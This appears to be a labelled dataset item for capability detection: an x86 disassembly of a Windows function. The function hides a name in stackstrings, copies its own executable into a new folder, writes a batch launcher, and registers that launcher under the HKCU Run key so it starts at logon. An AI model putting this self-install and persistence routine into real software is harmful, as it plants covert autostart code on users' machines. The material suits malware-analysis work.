Function at 0x648c1323
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Persist via run registry key
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x354
mov dword [ebp - 0x32a], 0x6c697542
mov dword [ebp - 0x326], 0x676e6964
mov dword [ebp - 0x322], 0x636f6c42
mov word [ebp - 0x31e], 0x6b
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x114]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x114]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x32a]
mov dword [esp + 4], eax
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strcat
mov dword [esp + 4], 0
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._CreateDirectoryA_8
sub esp, 8
lea eax, [ebp - 0x114]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x114]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x32a]
mov dword [esp + 4], eax
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x114]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x114]
add eax, edx
mov dword [eax], 0x6578652e
mov byte [eax + 4], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
lea eax, [ebp - 0x31c]
mov dword [esp], eax
call sym._CopyFileA_12
sub esp, 0xc
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x114]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x114]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x32a]
mov dword [esp + 4], eax
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x114]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x114]
add eax, edx
mov dword [eax], 0x7461622e
mov byte [eax + 4], 0
mov dword [esp + 4], 0x648c4064
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xa
mov dword [esp + 4], 1
mov dword [esp], str._echo_off_n
call sym._fwrite
lea eax, [ebp - 0x32a]
mov dword [esp + 8], eax
mov dword [esp + 4], str.start__s.exe_n
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fprintf
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 5
mov dword [esp + 4], 1
mov dword [esp], str.exit_n
call sym._fwrite
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x114]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x114]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x32a]
mov dword [esp + 4], eax
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x114]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x114]
add eax, edx
mov dword [eax], 0x7461622e
mov byte [eax + 4], 0
lea eax, [ebp - 0x330]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x330]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x114]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
lea edx, [ebp - 0x32a]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x330]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret